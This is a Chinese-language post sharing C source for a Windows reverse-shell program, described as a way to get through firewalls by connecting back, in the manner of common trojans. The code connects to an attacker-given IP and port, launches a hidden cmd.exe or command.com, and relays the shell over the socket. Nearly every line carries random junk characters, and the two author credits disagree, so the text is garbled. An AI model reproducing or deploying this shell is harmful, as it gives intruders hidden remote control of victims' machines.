这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Qe.kNdT+_
A"iD4Q
/* ============================== E,yK` mPp^
Rebound port in Windows NT VTfaZ/e.
By wind,2006/7 L-{r*ccIW
===============================*/ rF3]AW(
#include #)}bUNc'
#include t'x:fO?cp
o f
#pragma comment(lib,"wsock32.lib") DNBpIC5&6
BK SK@OV
void OutputShell(); f`=T@nA
SOCKET sClient; |9Ks13?Ck
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dvF48,kr
n ]}2O4j
void main(int argc,char **argv) ?<^AXLiKV
{ ?I#hrv@
WSADATA stWsaData; q|l|mO
int nRet; UyKG$6F?3
SOCKADDR_IN stSaiClient,stSaiServer; j)6B^!
n3j h\
if(argc != 3) $IZZ`Z]B
{ 6 <S&~q
printf("Useage:\n\rRebound DestIP DestPort\n"); [;YBX]t
return; vaJXX
} h]$?~YE
kA=~8N
WSAStartup(MAKEWORD(2,2),&stWsaData); Vp"Ug,1
%ab)Gs
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0(9@GIT
<dPxy`_
stSaiClient.sin_family = AF_INET; q*TKs#3
stSaiClient.sin_port = htons(0); Ab<Ok\e5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [j U
jZ,[{Z(N
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h!CX`pBM
{ wD^do
printf("Bind Socket Failed!\n"); \[I .
return; $=xQ X
} b7sE
>1I2R/'
stSaiServer.sin_family = AF_INET; y]f^`2L!8>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fYM6wYJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (H%d]
CVG>[~}(9'
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8'WMspX
{ f<altz_\q
printf("Connect Error!"); r tmt 3
return; 15o
*r
} 4{WV
OutputShell(); U]U)'
} L^{;jgd&T9
7 P^{*!
void OutputShell() mKQST ]5
{ fB,1s}3Hn
char szBuff[1024]; :_,]?n
SECURITY_ATTRIBUTES stSecurityAttributes; "u8o?8+q~
OSVERSIONINFO stOsversionInfo; i)PV{3v$J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; EZumJ."
STARTUPINFO stStartupInfo; ;=\5$J9
char *szShell; b_gN?F7_
PROCESS_INFORMATION stProcessInformation; uPC qO+f
unsigned long lBytesRead; >VUQTg
nk|N.%E
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GKujDx+h
jl-Aos"/
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^@*zH?Rx{
stSecurityAttributes.lpSecurityDescriptor = 0; >dvWa-rNUT
stSecurityAttributes.bInheritHandle = TRUE; Bx : So6:
'BdmFKy1
oT (:33$
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0mD;.1:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y!1^@;)^
cm 9oG
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C6V&R1" s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0"qim0%|DF
stStartupInfo.wShowWindow = SW_HIDE; /\a]S:V-j
stStartupInfo.hStdInput = hReadPipe; !:O/|.+Vmf
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OV("mNh
6SBvn%
GetVersionEx(&stOsversionInfo); nHA`B.:B
*(&ClUQQ
switch(stOsversionInfo.dwPlatformId) .4C[D{4
{ >yA,@%X
case 1: ^A"lkV7
szShell = "command.com"; K
l0tyeT
break; J6(
RlHS;
default: +>WC^s
szShell = "cmd.exe"; qz=#;&ZU
break; 1'v !9
} keQXJ0
m$E^u[
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U|Z>SE<k
')u5 l
send(sClient,szMsg,77,0); XL7;^AE^Wl
while(1) 9oz (=R
{ ,D@;i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f5yux}A{
if(lBytesRead) W93JY0Ls9|
{ &I}T<v{f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q),3&4pM
send(sClient,szBuff,lBytesRead,0); NB
W%.z
} lKV\1(`
else jq("D,
{ ,v}?{pc
lBytesRead=recv(sClient,szBuff,1024,0); *L;pc g8{
if(lBytesRead<=0) break; Q%n{*py
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P7wqZ?
}
>)n4sMq
} aq0iNbv@
s@ 20#D
return; oWx_O-_._
}